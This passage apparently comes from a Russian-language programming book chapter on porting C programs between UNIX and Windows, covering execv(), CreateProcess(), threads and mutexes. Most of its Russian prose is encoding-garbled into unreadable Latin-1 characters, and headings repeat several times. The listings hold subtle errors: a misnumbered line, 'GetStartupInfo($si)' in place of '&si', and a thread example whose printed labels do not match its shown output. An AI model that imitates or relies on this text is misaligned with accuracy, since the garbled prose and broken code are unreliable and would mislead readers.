Ïðè ðàáîòå íà ïëàòôîðìå Win32Ïðè ðàáîòå íà ïëàòôîðìå Win32Ïðè ðàáîòå íà ïëàòôîðìå Win32Ïðè ðàáîòå íà ïëàòôîðìå Win32Ïðè ðàáîòå íà ïëàòôîðìå Win32
C:\>Documents and Settings\Mike\My Documents\Visual Studio Projects\
exec\Debug>execed
exec'd!

ÀíàëèçÀíàëèçÀíàëèçÀíàëèçÀíàëèç
� Â ñòðîêå 13 âûçûâàåòñÿ ôóíêöèÿ printf(), êîòîðàÿ ïå÷àòàåò ñòðîêó exec’d!

Òåêñò ïðîãðàììû, êîòîðàÿ âûçûâàåò ôóíêöèþ execv() (exec.c) ïðèâåäåí
â ïðèìåðå 6.5.

Пример 6.5. Пример 6.5. Пример 6.5. Пример 6.5. Пример 6.5. Программа, вызывающая функцию execv() (exec.c)
 1 /*

 2  * exec.c

 3  *

 4  *

 5  */

 6
 7 #include <stdio.h>

 8 #include <process.h>

 9
10 void
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11 main(void)

12 {

13   char *argv[] = { "execed", NULL };

14
15   execv("execed", argv);

16
17   printf("ñþäà ïðîãðàììà íå äîõîäèò");

13 }

Ïðèìåð èñïîëíåíèÿÏðèìåð èñïîëíåíèÿÏðèìåð èñïîëíåíèÿÏðèìåð èñïîëíåíèÿÏðèìåð èñïîëíåíèÿ
Âîò ÷òî íàïå÷àòàåò ýòà ïðîãðàììà, áóäó÷è îòêîìïèëèðîâàíà è çàïóùåíà íà
ïëàòôîðìå Win32.

Ïðè ðàáîòå íà ïëàòôîðìå Win32Ïðè ðàáîòå íà ïëàòôîðìå Win32Ïðè ðàáîòå íà ïëàòôîðìå Win32Ïðè ðàáîòå íà ïëàòôîðìå Win32Ïðè ðàáîòå íà ïëàòôîðìå Win32
C:\>Documents and Settings\Mike\My Documents\Visual Studio Projects\
exec\Debug>exec

C:\>Documents and Settings\Mike\My Documents\Visual Studio Projects\
exec\Debug>exec'd!

ÀíàëèçÀíàëèçÀíàëèçÀíàëèçÀíàëèç
� Â ñòðîêå 13 èíèöèàëèçèðóåòñÿ ìàññèâ àðãóìåíòîâ, ïåðåäàâàåìûõ ïðî-

ãðàììå execed èç ïðèìåðà 6.4. Ïåðâûé àðãóìåíò – ýòî èìÿ ñàìîé ïðî-
ãðàììû, âòîðîé – íåîáÿçàòåëüíûé ñïèñîê ïåðåìåííûõ îêðóæåíèÿ.
Â äàííîì ïðèìåðå âûçûâàåìîé ïðîãðàììå ïåðåìåííûå îêðóæåíèÿ íå
ïåðåäàþòñÿ.

� Â ñòðîêå 15 âûçûâàåòñÿ ôóíêöèÿ execv() äëÿ ñîçäàíèÿ ïðîöåññà execed.
� Â ñòðîêå 17 âû âèäèòå ôóíêöèþ printf(). Íî, ïîñêîëüêó âûçîâ execv()

çàìåùàåò òåêóùèé ïðîöåññ îáðàçîì, âçÿòûì èç ôàéëà execed.exe, òî ýòà
ôóíêöèÿ íèêîãäà íå áóäåò âûçâàíà.

Â ïðîãðàììå exec.c ôóíêöèÿ execv() çàìåùàåò òåêóùèé ïðîöåññ îáðàçîì èç
ôàéëà execed.exe; ýòà ôóíêöèÿ íå âîçâðàùàåò óïðàâëåíèå. Ñëåäîâàòåëüíî, ïîñ-
ëå çàïóñêà ïðîãðàììà exec.exe âûïîëíÿåò ïðîãðàììó execed.exe è çàâåðøàåò ðà-
áîòó. Äî èñïîëíåíèÿ êîäà â ñòðîêå 17 äåëî íå äîõîäèò, åñëè òîëüêî ôóíêöèÿ
execv() íå çàâåðøàåòñÿ ñ îøèáêîé. (Îòìåòèì, ÷òî äëÿ êîìïèëÿöèè êîäà,
â êîòîðîì âñòðå÷àåòñÿ âûçîâ ôóíêöèè execv(), íåîáõîäèìî âêëþ÷èòü â ïðî-
ãðàììó çàãîëîâî÷íûé ôàéë process.h.)

Ñ ïîìîùüþ óòèëèòû Task Manager (taskmgr.exe) ìîæíî ïîíàáëþäàòü çà ðà-
áîòîé ýòîé ïðîãðàììû. Åñëè âêëþ÷èòü â òåêñòû exec.c è execed.c çàãîëîâî÷íûé
ôàéë windows.h è âûçâàòü ôóíêöèþ Sleep(), òî ìû óâèäèì, ÷òî Windows ñî-
çäàåò îòäåëüíûé ïðîöåññ äëÿ çàïóñêàåìîé ïðîãðàììû è çàâåðøàåò âûçûâàþ-
ùèé ïðîöåññ, çàìåùåíèÿ îäíîãî ïðîöåññà äðóãèì íå ïðîèñõîäèò.
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Пример 6.6. Пример 6.6. Пример 6.6. Пример 6.6. Пример 6.6. Программа, исполняемая в результате вызова функции execv()
(execed2.c)
 1 /*

 2  * execed2.c

 3  *

 4  *

 5  */

 6
 7 #include <windows.h>

 8 #include <stdio.h>

 9
10 void

11 main(void)

12 {

13   printf("exec'd2!\r\n");

14
15   Sleep(3000);

16 }

Пример 6.7. Пример 6.7. Пример 6.7. Пример 6.7. Пример 6.7. Программа, вызывающая функцию execv() (exec2.c)
 1 /*

 2  * exec2.c

 3  *

 4  *

 5  */

 6
 7 #include <windows.h>

 8 #include <stdio.h>

 9 #include <process.h>

10
11 void

12 main(void)

13 {

14   char *argv[] = { "execed2", NULL };

15
16   Sleep(3000);

17
18   execv("execed2", argv);

19   printf("ñþäà ïðîãðàììà íå äîõîäèò");

20 }

Ïðîãðàììû exec2.c è execed2.c çàïóñêàþòñÿ òàê æå, êàê è ðàíüøå, íî íà ýòîò
ðàç ìû ñäåëàëè ñíèìêè ñ ýêðàíà, ÷òîáû ïîêàçàòü, êàê èñïîëíÿåòñÿ execed2.c.
Ñíà÷àëà áûëà çàïóùåíà ïðîãðàììà exec2 (ðèñ. 6.1).

C:\>Documents and Settings\Mike\My Documents\Visual Studio Projects\
exec\Debug>exec2
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Çàòåì îíà çàïóñêàåò ïðîãðàììó execed2 (ðèñ. 6.2).

C:\>Documents and Settings\Mike\My Documents\Visual Studio Projects\
exec\Debug>exec'd2!

Рис. 6.1. Рис. 6.1. Рис. 6.1. Рис. 6.1. Рис. 6.1. Процесс exec2 в окне диспетчера задач
(Task Manager)

Рис. 6.2. Рис. 6.2. Рис. 6.2. Рис. 6.2. Рис. 6.2. Процесс execed2 в окне диспетчера задач
(Task Manager)
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Ïîñëå çàïóñêà exec2 â îêíå äèñïåò÷åðà çàäà÷ (Task Manager) ïîÿâèëñÿ ïðî-
öåññ exec2.exe ñ èäåíòèôèêàòîðîì 1064. Êàê òîëüêî áûëà çàïóùåíà ïðîãðàììà
execed2, ïðîöåññ exec2 ïðîïàë èç ñïèñêà çàäà÷, çàòî ïîÿâèëñÿ ïðîöåññ execed2.exe
ñ èäåíòèôèêàòîðîì 2132.

Âìåñòî ôóíêöèé ñåìåéñòâà exec äëÿ ñîçäàíèÿ íîâîãî ïðîöåññà ìîæíî âîñ-
ïîëüçîâàòüñÿ ñïåöèôè÷íîé äëÿ ïëàòôîðìû Win32 ôóíêöèåé CreateProcess.
Â ïðèìåðå 6.8 ïðîãðàììà exec.c ïåðåðàáîòàíà ñ èñïîëüçîâàíèåì ýòîé ôóíêöèè.

Пример 6.8. Пример 6.8. Пример 6.8. Пример 6.8. Пример 6.8. Программа, вызывающая функцию CreateProcess() (exec_cp.c)
 1 /*

 2  * exec_cp.c

 3  *

 4  *

 5  */

 6
 7 #include <windows.h>

 8
 9 void

10 main(void)

11 {

12   STARTUPINFO         si;

13   PROCESS_INFORMATION pi;
14
15   GetStartupInfo($si);

16
17   CreateProcess("execed.exe", NULL, NULL,

18                 NULL, FALSE, 0, NULL, NULL, &si, &pi);
19 }

Ïðèìåð èñïîëíåíèÿÏðèìåð èñïîëíåíèÿÏðèìåð èñïîëíåíèÿÏðèìåð èñïîëíåíèÿÏðèìåð èñïîëíåíèÿ
Âîò ÷òî íàïå÷àòàåò ýòà ïðîãðàììà, áóäó÷è îòêîìïèëèðîâàíà è çàïóùåíà íà
ïëàòôîðìå Win32.

Ïðè ðàáîòå íà ïëàòôîðìå Win32Ïðè ðàáîòå íà ïëàòôîðìå Win32Ïðè ðàáîòå íà ïëàòôîðìå Win32Ïðè ðàáîòå íà ïëàòôîðìå Win32Ïðè ðàáîòå íà ïëàòôîðìå Win32
C:\>Documents and Settings\Mike\My Documents\Visual Studio Projects\
exec_cp\Debug>exec_cp
C:\>Documents and Settings\Mike\My Documents\Visual Studio Projects\
exec_cp\Debug>exec'd!

ÀíàëèçÀíàëèçÀíàëèçÀíàëèçÀíàëèç
� Â ñòðîêàõ 12 è 13 îáúÿâëÿþòñÿ äâå ïåðåìåííûå, íåîáõîäèìûå äëÿ âû-

çîâà ôóíêöèè CreateProcess().
� Â ñòðîêå 15 âûçûâàåòñÿ ñïåöèôè÷íàÿ äëÿ ïëàòôîðìû Win32 ôóíêöèÿ

GetStartupInfo() äëÿ èíèöèàëèçàöèè ïåðåìåííîé si.
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� Â ñòðîêå 17 âûçûâàåòñÿ ñïåöèôè÷íàÿ äëÿ ïëàòôîðìû Win32 ôóíêöèÿ
CreateProcess(). Îíà çàãðóæàåò è èñïîëíÿåò ôàéë execed.exe, óêàçàííûé
â êà÷åñòâå ïåðâîãî ïàðàìåòðà.

Áîëåå ïîäðîáíóþ èíôîðìàöèþ î ôóíêöèè CreateProcess ìîæíî íàéòè íà
ñàéòå http://msdn.microsoft.com èëè â äîêóìåíòàöèè, ïîñòàâëÿåìîé âìåñòå
ñ Visual Studio.

Системный вызов fork
Â UNIX ñèñòåìíûé âûçîâ fork îáû÷íî ïðèìåíÿåòñÿ äëÿ îäíîé èç äâóõ öåëåé:
÷òîáû ñîçäàòü íîâûé ïðîöåññ, â êîòîðîì áóäåò èñïîëíÿòüñÿ äðóãàÿ ïðîãðàì-
ìà, èëè äëÿ ñîçäàíèÿ ïðîöåññà, êîòîðûé èñïîëíÿåò òó æå ïðîãðàììó, ÷òî è
ïîðîäèâøèé åãî, êîîðäèíèðóÿ ñâîþ ðàáîòó ñ ðîäèòåëåì. Ïåðâûé ñëó÷àé íà
ïëàòôîðìå Windows ðåàëèçóåòñÿ ñ ïîìîùüþ ôóíêöèè CreateProcess. ×òîáû
ðåàëèçîâàòü âòîðóþ ìîäåëü, ðåêîìåíäóåòñÿ ïîëüçîâàòüñÿ íåñêîëüêèìè ïîòî-
êàìè, èñïîëíÿåìûìè ïàðàëëåëüíî è ñêîîðäèíèðîâàíî. (Ìíîãîïîòî÷íîñòü
îáñóæäàåòñÿ â ñëåäóþùåì ðàçäåëå.)

Системный вызов exit

Â UNIX ñèñòåìíûé âûçîâ exit çàâåðøàåò ïðîãðàììó. Íà ïëàòôîðìå Windows
åñòü ýêâèâàëåíòíûé ìåõàíèçì. Â ïðèìåðå 6.9 äåìîíñòðèðóåòñÿ ïðèìåíåíèå
ôóíêöèè exit().

Пример 6.9. Пример 6.9. Пример 6.9. Пример 6.9. Пример 6.9. Программа, вызывающая функцию exit() (exit.c)
 1 /*

 2  * exit.c

 3  *

 4  * Ðàáîòàåò êàê â UNIX, òàê è â Windows

 5  */

 6
 7 #include <stdlib.h>

 8
 9 void

10 main(void)

11 {

12   exit(0);

13 }

Многопоточность

Íà áîëüøèíñòâå UNIX-ïëàòôîðì èìååòñÿ îïèñàííûé â ñòàíäàðòå POSIX èí-
òåðôåéñ äëÿ ïðîãðàììèðîâàíèÿ ïîòîêîâ (pthreads). Îí ïîçâîëÿåò ñîçäàâàòü è
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ñèíõðîíèçèðîâàòü âûïîëíåíèå íåñêîëüêèõ ïîòîêîâ â êîíòåêñòå îäíîãî ïðî-
öåññà. Â Windows ìíîãîïîòî÷íûå ïðèëîæåíèÿ òàêæå ïîääåðæèâàþòñÿ, íî
èíòåðôåéñ ñîâåðøåííî èíîé. Ê ñ÷àñòüþ, îáà èíòåðôåéñà ðåàëèçóþò ïðèáëè-
çèòåëüíî îäíó è òó æå ôóíêöèîíàëüíîñòü, òàê ÷òî ïåðåíîñ ïðîãðàììû ñ îä-
íîé ïëàòôîðìû íà äðóãóþ íå âûçûâàåò ñåðüåçíûõ òðóäíîñòåé.

Создание потока

Îïðåäåëåííàÿ â API pthreads ôóíêöèÿ pthread_create() ñîçäàåò íîâûé ïîòîê.
Â ïðèìåðå 6.10 äåìîíñòðèðóåòñÿ åå ïðèìåíåíèå.

Пример 6.10. Пример 6.10. Пример 6.10. Пример 6.10. Пример 6.10. Создание потока с помощью pthreads (thread1.c)
 1 /*

 2  * thread1.c

 3  *

 4  *

 5  */

 6
 7 #include <stdio.h>

 8 #include <stdlib.h>

 9 #include <pthread.h>

10
11 void *thread_entry_point (void *arg)

12 {

13   printf("ïîòîê 2!\n");

14 }

15
16 int

17 main(void)

18 {

19   pthread_t pt;

20   int       ret = 0;

21
22   ret = pthread_create(&pt, NULL, thread_entry_point, NULL);

23   if(ret != 0x00)

24   {

25     printf("îøèáêà pthread_create().\n");

26     return(1);

27   }

28
29   sleep(1);

30
31   printf("ïîòîê 1!\n");

32
33   return(0);

34 }
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Ïðèìåð èñïîëíåíèÿÏðèìåð èñïîëíåíèÿÏðèìåð èñïîëíåíèÿÏðèìåð èñïîëíåíèÿÏðèìåð èñïîëíåíèÿ
Âîò ÷òî íàïå÷àòàåò ýòà ïðîãðàììà, áóäó÷è îòêîìïèëèðîâàíà è çàïóùåíà íà
ïëàòôîðìå UNIX.

Ïðè ðàáîòå íà ïëàòôîðìå UNIXÏðè ðàáîòå íà ïëàòôîðìå UNIXÏðè ðàáîòå íà ïëàòôîðìå UNIXÏðè ðàáîòå íà ïëàòôîðìå UNIXÏðè ðàáîòå íà ïëàòôîðìå UNIX
mike@insidiae# ./thread1
ïîòîê 2!
ïîòîê 1!

ÀíàëèçÀíàëèçÀíàëèçÀíàëèçÀíàëèç
� Â ñòðîêå 11 îáúÿâëåíà ôóíêöèÿ thread_entry_point(). Îíà ñëóæèò òî÷êîé

âõîäà â íîâûé ïîòîê èñïîëíåíèÿ, ñîçäàííûé â ñòðîêå 22, è ïå÷àòàåò ñî-
îáùåíèå ïîòîê 2!.

� Â ñòðîêå 19 îáúÿâëåíà ïåðåìåííàÿ pt òèïà pthread_t. Îíà áóäåò íóæíà äëÿ
èäåíòèôèêàöèè ñîçäàâàåìîãî ïîòîêà.

� Â ñòðîêå 22 âûçûâàåòñÿ ôóíêöèÿ pthread_create(), êîòîðàÿ ñîçäàåò íî-
âûé ïîòîê.

� Â ñòðîêå 29 âûçûâàåòñÿ ôóíêöèÿ sleep(), ÷òîáû ïðèîñòàíîâèòü èñïîëíå-
íèå âûçûâàþùåãî ïîòîêà íà îäíó ñåêóíäó.

� Â ñòðîêå 31 ôóíêöèÿ printf() ïå÷àòàåò ñîîáùåíèå ïîòîê 1!.

Ôóíêöèÿ pthread_create() ïðèíèìàåò ÷åòûðå àðãóìåíòà. Ïåðâûé – ýòî óêà-
çàòåëü íà èäåíòèôèêàòîð ïîòîêà òèïà pthread_t. Âòîðîé ñëóæèò äëÿ çàäàíèÿ
àòðèáóòîâ ïîòîêà è èìååò òèï pthread_attrib. Òðåòèé – ýòî àäðåñ ôóíêöèè,
â êîòîðîé íà÷íåòñÿ èñïîëíåíèå ïîòîêà, îíà íàçûâàåòñÿ òî÷êîé âõîäà â ïîòîê.
×åòâåðòûé àðãóìåíò – ýòî íåòèïèçèðîâàííûé óêàçàòåëü, êîòîðûé ìîæåò óêà-
çûâàòü íà çíà÷åíèå ëþáîãî òèïà. Îí ïåðåäàåòñÿ â êà÷åñòâå åäèíñòâåííîãî
àðãóìåíòà ôóíêöèè-òî÷êå âõîäà, êîãäà ïîòîê íà÷èíàåò èñïîëíåíèå.

Íà ïëàòôîðìå Windows èíòåðôåéñ pthreads íå ïîääåðæèâàåòñÿ. Âìåñòî
íåãî èìååòñÿ äðóãîé èíòåðôåéñ, îáëàäàþùèé ïðèìåðíî òàêîé æå ôóíêöèî-
íàëüíîñòüþ.

Ýêâèâàëåíòîì ôóíêöèè pthread_create() â Windows ÿâëÿåòñÿ ôóíêöèÿ Create-
Thread. Â ïðèìåðå 6.11 ïîêàçàíî, êàê ñ åå ïîìîùüþ ñîçäàòü íîâûé ïîòîê.

Пример 6.11. Пример 6.11. Пример 6.11. Пример 6.11. Пример 6.11. Создание потока с помощью CreateThread() (thread2.c)
1 /*

2  * thread2.c

3  *

4  *

5  */

6
7 #include <windows.h>

8 #include <stdio.h>
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 9
10 DWORD WINAPI thread_entry_point (LPVOID arg)

11 {

12   printf("ïîòîê 2!\r\n");

13
14   return(0);

15 }

16
17 int

18 main(void)

19 {

20   HANDLE h = NULL;

21
22   h = CreateThread(NULL, 0, thread_entry_point, NULL, 0, NULL);

23   if(h == NULL)

24   {

25     printf("îøèáêà CreateThread().\r\n");

26     return(1);

27   }

28
29   Sleep(1000);

30
31   printf("ïîòîê 1!\r\n");

32
33   return(0);

34 }

Ïðèìåð èñïîëíåíèÿÏðèìåð èñïîëíåíèÿÏðèìåð èñïîëíåíèÿÏðèìåð èñïîëíåíèÿÏðèìåð èñïîëíåíèÿ
Âîò ÷òî íàïå÷àòàåò ýòà ïðîãðàììà, áóäó÷è îòêîìïèëèðîâàíà è çàïóùåíà íà
ïëàòôîðìå Win32.

Ïðè ðàáîòå íà ïëàòôîðìå Win32Ïðè ðàáîòå íà ïëàòôîðìå Win32Ïðè ðàáîòå íà ïëàòôîðìå Win32Ïðè ðàáîòå íà ïëàòôîðìå Win32Ïðè ðàáîòå íà ïëàòôîðìå Win32
C:\>Documents and Settings\Mike\My Documents\Visual Studio Projects\
thread2\Debug> thread2.exe
ïîòîê 2!
ïîòîê 1!

ÀíàëèçÀíàëèçÀíàëèçÀíàëèçÀíàëèç
� Â ñòðîêå 10 îáúÿâëåíà ôóíêöèÿ thread_entry_point(). Îíà ñëóæèò òî÷êîé

âõîäà â íîâûé ïîòîê èñïîëíåíèÿ, ñîçäàííûé â ñòðîêå 22, è ïå÷àòàåò ñî-
îáùåíèå ïîòîê 2!.

� Â ñòðîêå 20 îáúÿâëåíà ïåðåìåííàÿ h òèïà HANDLE. Îíà áóäåò íóæíà äëÿ
èäåíòèôèêàöèè ñîçäàâàåìîãî ïîòîêà.

� Â ñòðîêå 22 âûçûâàåòñÿ ñïåöèôè÷íàÿ äëÿ Win32 ôóíêöèÿ CreateThread(),
êîòîðàÿ ñîçäàåò íîâûé ïîòîê.
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� Â ñòðîêå 29 âûçûâàåòñÿ ñïåöèôè÷íàÿ äëÿ Win32 ôóíêöèÿ Sleep(), ÷òî-
áû ïðèîñòàíîâèòü èñïîëíåíèå âûçûâàþùåãî ïîòîêà íà îäíó ñåêóíäó.

� Â ñòðîêå 31 ôóíêöèÿ printf() ïå÷àòàåò ñîîáùåíèå ïîòîê 1!.

Ôóíêöèÿ CreateThread() ïðèíèìàåò íåñêîëüêî àðãóìåíòîâ, ïîçâîëÿþùèõ
ñêîíôèãóðèðîâàòü îêðóæåíèå, â êîòîðîì áóäåò âûïîëíÿòüñÿ íîâûé ïîòîê.
Ñàìûìè âàæíûìè ïðè ïåðåíîñå èç UNIX êîäà, â êîòîðîì âñòðå÷àåòñÿ âûçîâ
pthread_create(), ÿâëÿþòñÿ àäðåñ òî÷êè âõîäà è çíà÷åíèå ïåðåäàâàåìîãî åé àð-
ãóìåíòà.

Áîëåå ïîäðîáíóþ èíôîðìàöèþ î ôóíêöèè CreateThread ìîæíî íàéòè íà
ñàéòå http://msdn.microsoft.com èëè â äîêóìåíòàöèè, ïîñòàâëÿåìîé âìåñòå
ñ Visual Studio.

Синхронизация потоков

Êàê èíòåðôåéñ pthreads, îïðåäåëåííûé â POSIX, òàê è API ïîòîêîâ â Windows
ïîääåðæèâàþò ïîíÿòèå âçàèìîèñêëþ÷åíèé (ìüþòåêñîâ). Ìüþòåêñ ïîçâîëÿåò
ñèíõðîíèçèðîâàòü äîñòóï ê îáùåìó ðåñóðñó ñî ñòîðîíû íåñêîëüêèõ ïîòîêîâ.
Ïåðåä òåì êàê îáðàòèòüñÿ ê ðàçäåëÿåìîìó ðåñóðñó, ïîòîê äîëæåí «çàõâà-
òèòü» ìüþòåêñ. Ïîñëå òîãî êàê ðàáîòà ñ ðåñóðñîì áóäåò çàêîí÷åíà, ìüþòåêñ
ñëåäóåò «îñâîáîäèòü».

Â POSIX îïðåäåëåí òèï äàííûõ pthread_mutex_t è ôóíêöèè pthread_mutex_init,
pthread_mutex_lock, pthread_mutex_unlock è pthread_mutex_destroy äëÿ ñîçäà-
íèÿ, çàõâàòà, îñâîáîæäåíèÿ è óíè÷òîæåíèÿ ìüþòåêñîâ.

Â ïðèìåðå  6.12 ïîêàçàíî, êàê ïîëüçîâàòüñÿ ôóíêöèÿìè èç ñåìåéñòâà
pthread_mutex äëÿ ñèíõðîíèçàöèè äîñòóïà ê ãëîáàëüíîé ïåðåìåííîé ñî ñòî-
ðîíû äâóõ ïîòîêîâ.

Пример 6.12. Пример 6.12. Пример 6.12. Пример 6.12. Пример 6.12. Синхронизация потоков с помощью функций семейства
pthread_mutex (thread3.c)
 1 /*

 2  * thread3.c

 3  *

 4  *

 5  */

 6
 7 #include <stdio.h>

 8 #include <pthread.h>

 9
10 // ãëîáàëüíûå ïåðåìåííûå
11 pthread_mutex_t lock;

12 int             g_val = 0;

13
14 void *thread_entry_point (void *arg)
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15 {

16   while(1)

17   {

18     pthread_mutex_lock(&lock);

19
20     ++g_val;

21     printf("ïîòîê 2, g_val: %d\n", g_val);

22
23     pthread_mutex_unlock(&lock);

24
25     usleep(1000000);

26   }

27 }

28
29 int

30 main(void)

31 {

32   pthread_t pt;

33   int       ret = 0;

34
35   ret = pthread_mutex_init(&lock, NULL);

36   if(ret != 0x00)

37   {

38     printf("îøèáêà pthread_mutex_init ().\n");

39     return(1);

40   }

41
42   ret = pthread_create(&pt, NULL, thread_entry_point, NULL);

43   if(ret != 0x00)

44   {

45     printf("îøèáêà pthread_create().\n");

46     return(1);

47   }

48
49   while(1)

50   {

51     pthread_mutex_lock(&lock);

52
53     ++g_val;

54     printf("ïîòîê 2, g_val: %d\n", g_val);

55
56     pthread_mutex_unlock(&lock);

57
58     usleep(1000000);

59   }

60
61   pthread_mutex_destroy(&lock);

62 }
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Ïðèìåð èñïîëíåíèÿÏðèìåð èñïîëíåíèÿÏðèìåð èñïîëíåíèÿÏðèìåð èñïîëíåíèÿÏðèìåð èñïîëíåíèÿ
Âîò ÷òî íàïå÷àòàåò ýòà ïðîãðàììà, áóäó÷è îòêîìïèëèðîâàíà è çàïóùåíà íà
ïëàòôîðìå UNIX.

Ïðè ðàáîòå íà ïëàòôîðìå UNIXÏðè ðàáîòå íà ïëàòôîðìå UNIXÏðè ðàáîòå íà ïëàòôîðìå UNIXÏðè ðàáîòå íà ïëàòôîðìå UNIXÏðè ðàáîòå íà ïëàòôîðìå UNIX
root@applicationdefense# ./thread3
ïîòîê 1, g_val: 1
ïîòîê 2, g_val: 2
ïîòîê 1, g_val: 3

ÀíàëèçÀíàëèçÀíàëèçÀíàëèçÀíàëèç
� Â ñòðîêå 8 âêëþ÷àåòñÿ çàãîëîâî÷íûé ôàéë pthread.h, â êîòîðîì íàõîäÿò-

ñÿ âñå îïèñàíèÿ, ñâÿçàííûå ñ ôóíêöèÿìè ñåìåéñòâà pthread.
� Â ñòðîêå 11 îáúÿâëåíà ïåðåìåííàÿ lock òèïà pthread_mutex_t. Îíà èñ-

ïîëüçóåòñÿ äëÿ ñèíõðîíèçàöèè äîñòóïà ê ãëîáàëüíîé ïåðåìåííîé ñî
ñòîðîíû ðàçíûõ ïîòîêîâ. Åñëè îäèí ïîòîê çàõâàòèò ìüþòåêñ, òî âñå
îñòàëüíûå äîëæíû áóäóò æäàòü åãî îñâîáîæäåíèÿ, ÷òîáû ïîëó÷èòü äî-
ñòóï ê çàùèùåííîìó ðåñóðñó.

� Â ñòðîêå 12 îáúÿâëåíà ãëîáàëüíàÿ ïåðåìåííàÿ g_val òèïà int. Åå çíà÷å-
íèå óâåëè÷èâàåòñÿ íåñêîëüêèìè ïîòîêàìè è âûâîäèòñÿ íà stdout. Ïåðå-
ìåííàÿ çàùèùåíà ìüþòåêñîì lock, îáúÿâëåííûì â ñòðîêå 11.

� Â ñòðîêå 14 îáúÿâëåíà ôóíêöèÿ thread_entry_point(). Èìåííî â ýòîé
ôóíêöèè íà÷èíàåòñÿ èñïîëíåíèå ïîòîêà, ñîçäàâàåìîãî â ñòðîêå 42.
Ôóíêöèÿ âñåãî ëèøü îðãàíèçóåò áåñêîíå÷íûé öèêë. Íà êàæäîé èòåðà-
öèè çàõâàòûâàåòñÿ ìüþòåêñ lock (ñòðîêà 18), ïîñëå ÷åãî çíà÷åíèå ïåðå-
ìåííîé g_val óâåëè÷èâàåòñÿ íà 1 (ñòðîêà 20) è ïå÷àòàåòñÿ (ñòðîêà 21). Çà-
òåì ìüþòåêñ îñâîáîæäàåòñÿ (ñòðîêà 23), à ïîòîê ïðèîñòàíàâëèâàåò ðà-
áîòó íà îäíó ñåêóíäó (ñòðîêà 25).

� Â ñòðîêå 30 îáúÿâëåíà ôóíêöèÿ main(). Â íåé ñîçäàåòñÿ íîâûé ïî-
òîê, êîòîðûé â áåñêîíå÷íîì öèêëå óâåëè÷èâàåò çíà÷åíèå ïåðåìåííîé
g_val.

� Â ñòðîêå 32 îáúÿâëåíà ïåðåìåííàÿ pt òèïà pthread_t. Â íåé áóäåò õðà-
íèòüñÿ îïèñàòåëü ïîòîêà, ñîçäàâàåìîãî â ñòðîêå 42.

� Â ñòðîêå 35 èíèöèàëèçèðóåòñÿ ãëîáàëüíàÿ ïåðåìåííàÿ lock. Äëÿ ýòîãî
âûçûâàåòñÿ ôóíêöèÿ pthread_mutex_init().

� Â ñòðîêå 42 ñ ïîìîùüþ ôóíêöèè pthread_create() ñîçäàåòñÿ íîâûé ïî-
òîê. Îí íà÷èíàåò èñïîëíåíèå â ôóíêöèè thread_entry_point().

� Ñòðîêè 49–59 – ýòî áåñêîíå÷íûé öèêë. Íà êàæäîé èòåðàöèè çàõâàòûâà-
åòñÿ ìüþòåêñ lock (ñòðîêà 51), óâåëè÷èâàåòñÿ íà 1 (ñòðîêà 53) è ïå÷àòàåòñÿ
(ñòðîêà 54) çíà÷åíèå ïåðåìåííîé g_val, ïîñëå ÷åãî ìüþòåêñ îñâîáîæäà-
åòñÿ è ïîòîê íà îäíó ñåêóíäó «çàñûïàåò».

Рекомендации по переносу программ между платформами UNIX и Microsoft Windows
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� Â ñòðîêå 61 ôóíêöèÿ pthread_mutex_destroy() óíè÷òîæàåò ìüþòåêñ lock.
Ïîñêîëüêó öèêë while, íà÷èíàþùèéñÿ â ñòðîêå 49, íèêîãäà íå çàâåðøà-
åòñÿ, òî ýòà ôóíêöèÿ íå âûçûâàåòñÿ.

Íà ïëàòôîðìå Windows òîãî æå ðåçóëüòàòà ìîæíî äîñòè÷ü ñ ïîìîùüþ ñå-
ìåéñòâà ôóíêöèé CriticalSection. Â ïðèìåðå 6.13 ïîêàçàíî, êàê ýòî äåëàåòñÿ.

Пример 6.13. Пример 6.13. Пример 6.13. Пример 6.13. Пример 6.13. Синхронизация потоков с помощью функций семейства
CriticalSection (thread4.c)
 1 /*

 2  * thread4.c

 3  *

 4  *

 5  */

 6
 7 #include <windows.h>

 8 #include <stdio.h>

 9
10 // ãëîáàëüíûå ïåðåìåííûå

11 CRITICAL_SECTION lock;

12 int              g_val = 0;

13
14 DWORD WINAPI thread_entry_point (LPVOID arg)

15 {

16   while(1)

17   {

18     EnterCriticalSection(&lock);

19
20     ++g_val;

21     printf("ïîòîê 2 , g_val: %d\n", g_val);

22
23     LeaveCriticalSection(&lock);

24
25     Sleep(1000);

26   }

27 }

28
29 int

30 main(void)

31 {

32   HANDLE h   = NULL;

33   int    ret = 0;

34
35   InitializeCriticalSection(&lock);

36
37   h = CreateThread(NULL, 0, thread_entry_point, NULL, 0, NULL);

38   if(h == NULL)

39   {
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40     printf("îøèáêà CreateThread().\r\n");

41     return(1);

42   }

43
44   while(1)

45   {

46     EnterCriticalSection(&lock);

47
48     ++g_val;

49     printf("ïîòîê 1 , g_val: %d\n", g_val);

50
51     LeaveCriticalSection(&lock);

52
53     Sleep(1000);

54   }

55
56   DeleteCriticalSection(&lock);

57
58   return(0);

59 }

Ïðèìåð èñïîëíåíèÿÏðèìåð èñïîëíåíèÿÏðèìåð èñïîëíåíèÿÏðèìåð èñïîëíåíèÿÏðèìåð èñïîëíåíèÿ
Âîò ÷òî íàïå÷àòàåò ýòà ïðîãðàììà, áóäó÷è îòêîìïèëèðîâàíà è çàïóùåíà íà
ïëàòôîðìå Win32.

Ïðè ðàáîòå íà ïëàòôîðìå Win32Ïðè ðàáîòå íà ïëàòôîðìå Win32Ïðè ðàáîòå íà ïëàòôîðìå Win32Ïðè ðàáîòå íà ïëàòôîðìå Win32Ïðè ðàáîòå íà ïëàòôîðìå Win32
C:\>Documents and Settings\Mike\My Documents\Visual Studio Projects\
thread2\Debug>thread4.exe
ïîòîê 1, g_val: 1
ïîòîê 2, g_val: 2
ïîòîê 1, g_val: 3
ïîòîê 2, g_val: 4

ÀíàëèçÀíàëèçÀíàëèçÀíàëèçÀíàëèç
� Â ñòðîêå 7 âêëþ÷àåòñÿ çàãîëîâî÷íûé ôàéë windows.h, â êîòîðîì îïèñàíà

â ÷àñòíîñòè ôóíêöèÿ CreateThread() è âñå ôóíêöèè ñåìåéñòâà CriticalSec-
tion.

� Â ñòðîêå 11 îáúÿâëåíà ïåðåìåííàÿ lock òèïà CRITICAL_SECTION. Îíà
èñïîëüçóåòñÿ äëÿ ñèíõðîíèçàöèè äîñòóïà ê ðàçäåëÿåìîìó ðåñóðñó òî÷-
íî òàê æå, êàê ïåðåìåííàÿ òèïà pthread_mutex_t â ïðèìåðå 6.12.

